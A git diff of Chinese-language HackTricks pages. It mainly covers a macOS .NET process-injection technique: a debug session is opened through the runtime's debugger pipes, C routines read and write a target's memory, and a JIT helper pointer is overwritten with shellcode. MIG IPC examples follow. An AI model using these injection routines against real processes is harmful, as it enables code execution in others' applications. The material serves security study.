* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 如果你在一家**网络安全公司**工作？你想在**HackTricks**中看到你的**公司广告**？或者你想要访问**PEASS的最新版本或下载HackTricks的PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏。
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,31 +1,31 @@
|
|||
# macOS .Net应用程序注入
|
||||
# macOS .Net 应用程序注入
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 如果您在**网络安全公司**工作？您想在**HackTricks**中看到您的**公司广告**吗？或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## .NET Core调试 <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
## .NET Core 调试 <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
|
||||
### **建立调试会话** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
|
||||
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)负责处理调试器与被调试进程之间的**通信**。\
|
||||
它通过调用[twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)在每个.Net进程中创建两个命名管道（一个以**`-in`**结尾，另一个以**`-out`**结尾，其余部分名称相同）。
|
||||
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) 负责处理调试器到被调试者的**通信**。
|
||||
它通过调用 [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) 在 [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) 创建了每个.Net进程的2个命名管道（一个以**`-in`** 结尾，另一个以 **`-out`** 结尾，其余名称相同）。
|
||||
|
||||
因此，如果你进入用户的**`$TMPDIR`**目录，你将能够找到用于调试.Net应用程序的**调试FIFO**：
|
||||
因此，如果您转到用户的 **`$TMPDIR`**，您将能够找到可以用来调试.Net应用程序的**调试fifo**：
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
函数[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)将处理来自调试器的通信。
|
||||
函数 [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) 将处理来自调试器的通信。
|
||||
|
||||
调试器需要做的第一件事是**创建一个新的调试会话**。这是通过通过`out`管道发送以`MessageHeader`结构开始的消息来完成的，我们可以从.NET源代码中获取：
|
||||
调试器需要做的第一件事是**创建一个新的调试会话**。这是通过**通过`out`管道发送消息**开始的，消息以`MessageHeader`结构开始，我们可以从.NET源码中获取：
|
||||
```c
|
||||
struct MessageHeader
|
||||
{
|
||||
|
|
@ -47,7 +47,7 @@ DWORD m_dwMinorVersion;
|
|||
BYTE m_sMustBeZero[8];
|
||||
}
|
||||
```
|
||||
在新会话请求的情况下，这个结构体的填充方式如下所示：
|
||||
在新会话请求的情况下，此结构体按如下方式填充：
|
||||
```c
|
||||
static const DWORD kCurrentMajorVersion = 2;
|
||||
static const DWORD kCurrentMinorVersion = 0;
|
||||
|
|
@ -62,11 +62,11 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion
|
|||
// Finally set the number of bytes which follow this header
|
||||
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
||||
```
|
||||
一旦构建完成，我们使用`write`系统调用将其发送给目标。
|
||||
一旦构建完成，我们使用 `write` 系统调用**将其发送给目标**：
|
||||
```c
|
||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||
```
|
||||
在发送请求头之后，我们需要发送一个`sessionRequestData`结构体，其中包含一个GUID来标识我们的会话：
|
||||
遵循我们的标题，我们需要发送一个 `sessionRequestData` 结构体，其中包含一个 GUID 来识别我们的会话：
|
||||
```c
|
||||
// All '9' is a GUID.. right??
|
||||
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
||||
|
|
@ -74,13 +74,13 @@ memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
|||
// Send over the session request data
|
||||
write(wr, &sDataBlock, sizeof(SessionRequestData));
|
||||
```
|
||||
在发送我们的会话请求后，我们从`out`管道中读取一个标头，该标头将指示我们建立调试器会话的请求是否成功。
|
||||
在发送我们的会话请求后，我们**从`out`管道读取一个头部**，该头部将指示我们的请求是否成功地建立了一个调试器会话：
|
||||
```c
|
||||
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
||||
```
|
||||
### 读取内存
|
||||
|
||||
通过建立一个调试会话，可以使用消息类型 [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) 来**读取内存**。要读取一些内存，主要需要的代码如下：
|
||||
在建立了调试会话后，可以使用消息类型 [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) 来**读取内存**。要读取一些内存，主要需要的代码将是：
|
||||
```c
|
||||
bool readMemory(void *addr, int len, unsigned char **output) {
|
||||
|
||||
|
|
@ -122,9 +122,9 @@ return false;
|
|||
return true;
|
||||
}
|
||||
```
|
||||
证明概念（POC）代码在[这里](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b)找到。
|
||||
概念验证（POC）代码可在[此处](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b)找到。
|
||||
|
||||
### 写入内存
|
||||
### 写内存
|
||||
```c
|
||||
bool writeMemory(void *addr, int len, unsigned char *input) {
|
||||
|
||||
|
|
@ -160,39 +160,39 @@ return true;
|
|||
|
||||
}
|
||||
```
|
||||
可以在[这里](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)找到用于执行此操作的POC代码。
|
||||
POC 代码可以在[这里](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)找到。
|
||||
|
||||
### .NET Core代码执行 <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
### .NET Core 代码执行 <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
|
||||
首先要做的是识别一个具有**`rwx`**权限的内存区域，以保存要运行的shellcode。可以使用以下代码轻松完成此操作：
|
||||
首先要做的是例如识别一个具有 **`rwx`** 权限的内存区域来保存要运行的 shellcode。这可以很容易地完成：
|
||||
```bash
|
||||
vmmap -pages [pid]
|
||||
vmmap -pages 35829 | grep "rwx/rwx"
|
||||
```
|
||||
然后，为了触发执行，需要知道存储函数指针的位置以覆盖它。可以在**动态函数表（DFT）**中覆盖指针，该表由.NET Core运行时用于提供JIT编译的辅助函数。支持的函数指针列表可以在[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)中找到。
|
||||
然后，为了触发执行，需要知道存储函数指针的某个位置以便覆盖它。可以覆盖 **Dynamic Function Table (DFT)** 中的指针，.NET Core 运行时使用它来为 JIT 编译提供帮助函数。可以在 [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) 中找到支持的函数指针列表。
|
||||
|
||||
在x64版本中，可以使用类似mimikatz的**签名搜索**技术直接在**`libcorclr.dll`**中搜索对符号**`_hlpDynamicFuncTable`**的引用，然后我们可以对其进行解引用：
|
||||
在 x64 版本中，使用 mimikatz 式的 **signature hunting** 技术搜索 **`libcorclr.dll`** 中对符号 **`_hlpDynamicFuncTable`** 的引用是直接的，我们可以解引用：
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
现在只需要找到一个地址来开始我们的签名搜索。为此，我们利用另一个暴露的调试器函数**`MT_GetDCB`**。它返回目标进程的一些有用信息，但对于我们的情况，我们对返回的字段感兴趣，其中包含一个辅助函数的地址**`m_helperRemoteStartAddr`**。使用这个地址，我们知道**`libcorclr.dll`在目标进程内存中的位置**，可以开始搜索DFT。
|
||||
剩下的就是找到一个地址来开始我们的签名搜索。为此，我们利用另一个暴露的调试器函数，**`MT_GetDCB`**。这返回了目标进程的许多有用信息，但对我们来说，我们感兴趣的是返回的包含 **帮助函数地址** 的字段，**`m_helperRemoteStartAddr`**。使用这个地址，我们就知道 **`libcorclr.dll`** 在目标进程内存中的位置，我们可以开始搜索 DFT。
|
||||
|
||||
知道了这个地址，就可以用我们的shellcode覆盖函数指针。
|
||||
知道这个地址后，就可以用我们的 shellcode 替换函数指针。
|
||||
|
||||
完整的用于注入到PowerShell的POC代码可以在[这里](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)找到。
|
||||
用于注入 PowerShell 的完整 POC 代码可以在[这里](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)找到。
|
||||
|
||||
## 参考资料
|
||||
|
||||
* 此技术来自[https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
||||
* 这项技术取自 [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFT收藏品**](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 如果你在 **网络安全公司** 工作？你想在 **HackTricks** 中看到你的 **公司广告**？或者你想访问 **PEASS 的最新版本或下载 HackTricks 的 PDF**？查看 [**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 系列。
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**hacktricks repo**](https://github.com/carlospolop/hacktricks) 和 [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来 **分享你的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,22 +1,22 @@
|
|||
# macOS MIG - Mach接口生成器
|
||||
# macOS MIG - Mach 接口生成器
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 你在**网络安全公司**工作吗？你想在**HackTricks 中看到你的公司广告**吗？或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我。
|
||||
* **通过提交 PR 到** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
MIG被创建用于**简化Mach IPC代码生成的过程**。它基本上会**根据给定的定义生成所需的代码**，以便服务器和客户端进行通信。即使生成的代码很丑陋，开发人员只需要导入它，他的代码将比以前简单得多。
|
||||
MIG 被创建来**简化 Mach IPC 代码创建过程**。它基本上**生成所需的代码**，以便服务器和客户端可以根据给定的定义进行通信。即使生成的代码不好看，开发者只需要导入它，他的代码就会比以前简单得多。
|
||||
|
||||
### 示例
|
||||
|
||||
创建一个定义文件，这里是一个非常简单的函数：
|
||||
创建一个定义文件，在这个例子中是一个非常简单的函数：
|
||||
|
||||
{% code title="myipc.defs" %}
|
||||
```cpp
|
||||
|
|
@ -33,15 +33,15 @@ server_port : mach_port_t;
|
|||
n1 : uint32_t;
|
||||
n2 : uint32_t);
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
现在使用mig生成服务器和客户端代码，它们将能够相互通信以调用Subtract函数：
|
||||
```
|
||||
现在使用mig生成服务器和客户端代码，这些代码将能够相互通信以调用Subtract函数：
|
||||
```
|
||||
```bash
|
||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||
```
|
||||
当前目录将创建几个新文件。
|
||||
在当前目录中将创建几个新文件。
|
||||
|
||||
在文件**`myipcServer.c`**和**`myipcServer.h`**中，您可以找到**`SERVERPREFmyipc_subsystem`**结构的声明和定义，该结构基本上定义了根据接收到的消息ID调用的函数（我们指定了起始编号为500）：
|
||||
在文件 **`myipcServer.c`** 和 **`myipcServer.h`** 中，您可以找到结构 **`SERVERPREFmyipc_subsystem`** 的声明和定义，它基本上根据接收到的消息ID定义要调用的函数（我们指定了一个起始编号500）：
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipcServer.c" %}
|
||||
|
|
@ -60,26 +60,9 @@ myipc_server_routine,
|
|||
}
|
||||
};
|
||||
```
|
||||
{% tab title="myipcServer.h" %}
|
||||
|
||||
```c
|
||||
#ifndef myipcServer_h
|
||||
#define myipcServer_h
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "myipcServerUser.h"
|
||||
|
||||
#define MACH_PORT_NAME "com.example.myipc"
|
||||
|
||||
kern_return_t myipc_server(mach_port_t server_port);
|
||||
|
||||
#endif /* myipcServer_h */
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipcServer.h" %}
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
extern const struct SERVERPREFmyipc_subsystem {
|
||||
|
|
@ -95,7 +78,7 @@ routine[1];
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
根据前面的结构，函数**`myipc_server_routine`**将获取**消息ID**并返回要调用的适当函数：
|
||||
基于之前的结构，函数 **`myipc_server_routine`** 将获取 **消息 ID** 并返回要调用的适当函数：
|
||||
```c
|
||||
mig_external mig_routine_t myipc_server_routine
|
||||
(mach_msg_header_t *InHeadP)
|
||||
|
|
@ -110,19 +93,18 @@ return 0;
|
|||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||
}
|
||||
```
|
||||
在这个例子中，我们只在定义中定义了一个函数，但是如果我们定义了更多的函数，它们将会在**`SERVERPREFmyipc_subsystem`**的数组中，并且第一个函数将被分配给ID **500**，第二个函数将被分配给ID **501**...
|
||||
在这个例子中，我们只在定义中定义了一个函数，但如果我们定义了更多的函数，它们将会在 **`SERVERPREFmyipc_subsystem`** 数组中，并且第一个函数将被分配给 ID **500**，第二个函数分配给 ID **501**...
|
||||
|
||||
实际上，我们可以在**`myipcServer.h`**中的结构体**`subsystem_to_name_map_myipc`**中识别这种关系：
|
||||
实际上，可以在 **`myipcServer.h`** 文件中的 **`subsystem_to_name_map_myipc`** 结构体中识别出这种关系：
|
||||
```c
|
||||
#ifndef subsystem_to_name_map_myipc
|
||||
#define subsystem_to_name_map_myipc \
|
||||
{ "Subtract", 500 }
|
||||
#endif
|
||||
```
|
||||
最后，使服务器工作的另一个重要函数将是**`myipc_server`**，它是实际上调用与接收到的id相关的函数的函数：
|
||||
最后，另一个让服务器工作的重要函数将是 **`myipc_server`**，这个函数实际上会**调用**与接收到的 id 相关的函数：
|
||||
|
||||
```c
|
||||
mig_external boolean_t myipc_server
|
||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
{
|
||||
/*
|
||||
|
|
@ -137,26 +119,26 @@ mig_routine_t routine;
|
|||
|
||||
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
|
||||
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
|
||||
/* Minimal size: routine() will update it if different */
|
||||
/* 最小尺寸：如果不同，routine() 将更新它 */
|
||||
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
|
||||
OutHeadP->msgh_local_port = MACH_PORT_NULL;
|
||||
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
|
||||
OutHeadP->msgh_reserved = 0;
|
||||
|
||||
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
|
||||
((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
|
||||
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
|
||||
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
|
||||
<strong> ((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
|
||||
</strong> ((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
|
||||
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
|
||||
return FALSE;
|
||||
}
|
||||
(*routine) (InHeadP, OutHeadP);
|
||||
return TRUE;
|
||||
<strong> (*routine) (InHeadP, OutHeadP);
|
||||
</strong> return TRUE;
|
||||
}
|
||||
```
|
||||
</code></pre>
|
||||
|
||||
检查前面突出显示的行，通过ID访问要调用的函数。
|
||||
检查之前突出显示的行，访问通过 ID 调用的函数。
|
||||
|
||||
以下是创建一个简单的**服务器**和**客户端**的代码，其中客户端可以调用服务器的Subtract函数：
|
||||
以下是创建一个简单的**服务器**和**客户端**的代码，客户端可以调用服务器的 Subtract 函数：
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server.c" %}
|
||||
|
|
@ -190,51 +172,9 @@ return 1;
|
|||
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
|
||||
}
|
||||
```
|
||||
{% tab title="myipc_client.c" %}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "myipc.h"
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
mach_port_t bootstrap_port;
|
||||
kern_return_t kr;
|
||||
myipc_msg_t msg;
|
||||
|
||||
// Get the bootstrap port
|
||||
kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get bootstrap port: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Look up the server port
|
||||
kr = bootstrap_look_up(bootstrap_port, MYIPC_SERVER_NAME, &msg.server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to look up server port: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Set the message type and data
|
||||
msg.type = MYIPC_MSG_TYPE;
|
||||
msg.data = 123;
|
||||
|
||||
// Send the message
|
||||
kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to send message: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("Message sent successfully\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_client.c" %}
|
||||
```c
|
||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||
|
||||
|
|
@ -259,22 +199,23 @@ printf("Port right name %d\n", port);
|
|||
USERPREFSubtract(port, 40, 2);
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### 二进制分析
|
||||
|
||||
由于许多二进制文件现在使用MIG来公开mach端口，了解如何**识别使用了MIG**以及**每个消息ID执行的函数**是很有趣的。
|
||||
由于许多二进制文件现在使用MIG来暴露mach端口，了解如何**识别使用了MIG**以及MIG对每个消息ID**执行的函数**是很有趣的。
|
||||
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2)可以解析Mach-O二进制文件中的MIG信息，指示消息ID并标识要执行的函数：
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2)可以从Mach-O二进制文件中解析MIG信息，指示消息ID并识别要执行的函数：
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
